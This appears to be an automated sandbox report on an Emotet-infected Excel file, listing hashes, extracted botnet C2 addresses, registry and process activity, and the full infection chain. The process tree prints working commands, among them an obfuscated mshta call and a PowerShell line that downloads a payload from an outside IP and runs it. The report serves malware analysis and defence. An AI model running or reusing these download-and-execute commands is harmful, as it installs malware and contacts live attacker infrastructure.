emotet | d5b77f3b4a645ee3c6a166172d9b1d5c48f0228ba8cee64332af3cddab84e4a0

Analysis

max time kernel
122s
max time network
129s
platform
windows7_x64
resource
win7-en-20211208
submitted
21-01-2022 03:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Contact.xls
Size

70KB
MD5

e04cb27b9dc90bc46db1427db6c0a1e9
SHA1

f87d71f6ac3588b9c5da2587801c320633783b04
SHA256

d5b77f3b4a645ee3c6a166172d9b1d5c48f0228ba8cee64332af3cddab84e4a0
SHA512

c01e9f94b6a319b6f208edbffb16790613a3f207b8a2113534a1c910241b71373e787b3ee394333babf7b014604f3140d5a16385dcdef007f91324584065f09f

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	564	1536	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 2016 mshta.exe
5 308 powershell.exe
7 308 powershell.exe
9 1708 rundll32.exe
11 1708 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1972 rundll32.exe
1972 rundll32.exe
1972 rundll32.exe
1972 rundll32.exe
1544 rundll32.exe
1544 rundll32.exe
1544 rundll32.exe
1544 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Qvqzjahpzslky\ycdtlrtvufq.zov rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	2016	mshta.exe
5	308	powershell.exe
7	308	powershell.exe
9	1708	rundll32.exe
11	1708	rundll32.exe

pid	process
1972	rundll32.exe
1972	rundll32.exe
1972	rundll32.exe
1972	rundll32.exe
1544	rundll32.exe
1544	rundll32.exe
1544	rundll32.exe
1544	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Qvqzjahpzslky\ycdtlrtvufq.zov	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1536 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

308 powershell.exe
1708 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 308 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1536 EXCEL.EXE
1536 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1536 EXCEL.EXE
1536 EXCEL.EXE
1536 EXCEL.EXE

pid	process
1536	EXCEL.EXE

pid	process
308	powershell.exe
1708	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	308	powershell.exe

pid	process
1536	EXCEL.EXE
1536	EXCEL.EXE

pid	process
1536	EXCEL.EXE
1536	EXCEL.EXE
1536	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1536 wrote to memory of 564	1536	EXCEL.EXE	cmd.exe
PID 1536 wrote to memory of 564	1536	EXCEL.EXE	cmd.exe
PID 1536 wrote to memory of 564	1536	EXCEL.EXE	cmd.exe
PID 1536 wrote to memory of 564	1536	EXCEL.EXE	cmd.exe
PID 564 wrote to memory of 2016	564	cmd.exe	mshta.exe
PID 564 wrote to memory of 2016	564	cmd.exe	mshta.exe
PID 564 wrote to memory of 2016	564	cmd.exe	mshta.exe
PID 564 wrote to memory of 2016	564	cmd.exe	mshta.exe
PID 2016 wrote to memory of 308	2016	mshta.exe	powershell.exe
PID 2016 wrote to memory of 308	2016	mshta.exe	powershell.exe
PID 2016 wrote to memory of 308	2016	mshta.exe	powershell.exe
PID 2016 wrote to memory of 308	2016	mshta.exe	powershell.exe
PID 308 wrote to memory of 1988	308	powershell.exe	cmd.exe
PID 308 wrote to memory of 1988	308	powershell.exe	cmd.exe
PID 308 wrote to memory of 1988	308	powershell.exe	cmd.exe
PID 308 wrote to memory of 1988	308	powershell.exe	cmd.exe
PID 1988 wrote to memory of 1972	1988	cmd.exe	rundll32.exe
PID 1988 wrote to memory of 1972	1988	cmd.exe	rundll32.exe
PID 1988 wrote to memory of 1972	1988	cmd.exe	rundll32.exe
PID 1988 wrote to memory of 1972	1988	cmd.exe	rundll32.exe
PID 1988 wrote to memory of 1972	1988	cmd.exe	rundll32.exe
PID 1988 wrote to memory of 1972	1988	cmd.exe	rundll32.exe
PID 1988 wrote to memory of 1972	1988	cmd.exe	rundll32.exe
PID 1972 wrote to memory of 1544	1972	rundll32.exe	rundll32.exe
PID 1972 wrote to memory of 1544	1972	rundll32.exe	rundll32.exe
PID 1972 wrote to memory of 1544	1972	rundll32.exe	rundll32.exe
PID 1972 wrote to memory of 1544	1972	rundll32.exe	rundll32.exe
PID 1972 wrote to memory of 1544	1972	rundll32.exe	rundll32.exe
PID 1972 wrote to memory of 1544	1972	rundll32.exe	rundll32.exe
PID 1972 wrote to memory of 1544	1972	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1512	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1512	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1512	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1512	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1512	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1512	1544	rundll32.exe	rundll32.exe
PID 1544 wrote to memory of 1512	1544	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 1708	1512	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 1708	1512	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 1708	1512	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 1708	1512	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 1708	1512	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 1708	1512	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 1708	1512	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Contact.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:564

C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe2.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:308

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qvqzjahpzslky\ycdtlrtvufq.zov",isOqWZtCWwIu
8⤵
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qvqzjahpzslky\ycdtlrtvufq.zov",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1708

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Documents\ssd.dll
MD5
f1eb9fcef8fdfa315b3b1697acbf3130

SHA1
32ea2aedbdbd45db0899eff996b550c4518f9aad

SHA256
61d6429b74d34e8399c21e5c03a04295dbe4228956b471858a3178fae2fce76d

SHA512
cc672a8b6d256963bedc0885c2d2691892f2e791839eb530147bbfe1fbb56b8af28c2dac6f8676836881a5379fdc809c86b2b566f3f60d352e0ae3457d6adeb1

Download Submit
\Users\Public\Documents\ssd.dll
MD5
f1eb9fcef8fdfa315b3b1697acbf3130

SHA1
32ea2aedbdbd45db0899eff996b550c4518f9aad

SHA256
61d6429b74d34e8399c21e5c03a04295dbe4228956b471858a3178fae2fce76d

SHA512
cc672a8b6d256963bedc0885c2d2691892f2e791839eb530147bbfe1fbb56b8af28c2dac6f8676836881a5379fdc809c86b2b566f3f60d352e0ae3457d6adeb1

Download Submit
\Users\Public\Documents\ssd.dll
MD5
f1eb9fcef8fdfa315b3b1697acbf3130

SHA1
32ea2aedbdbd45db0899eff996b550c4518f9aad

SHA256
61d6429b74d34e8399c21e5c03a04295dbe4228956b471858a3178fae2fce76d

SHA512
cc672a8b6d256963bedc0885c2d2691892f2e791839eb530147bbfe1fbb56b8af28c2dac6f8676836881a5379fdc809c86b2b566f3f60d352e0ae3457d6adeb1

Download Submit
\Users\Public\Documents\ssd.dll
MD5
f1eb9fcef8fdfa315b3b1697acbf3130

SHA1
32ea2aedbdbd45db0899eff996b550c4518f9aad

SHA256
61d6429b74d34e8399c21e5c03a04295dbe4228956b471858a3178fae2fce76d

SHA512
cc672a8b6d256963bedc0885c2d2691892f2e791839eb530147bbfe1fbb56b8af28c2dac6f8676836881a5379fdc809c86b2b566f3f60d352e0ae3457d6adeb1

Download Submit
\Users\Public\Documents\ssd.dll
MD5
f1eb9fcef8fdfa315b3b1697acbf3130

SHA1
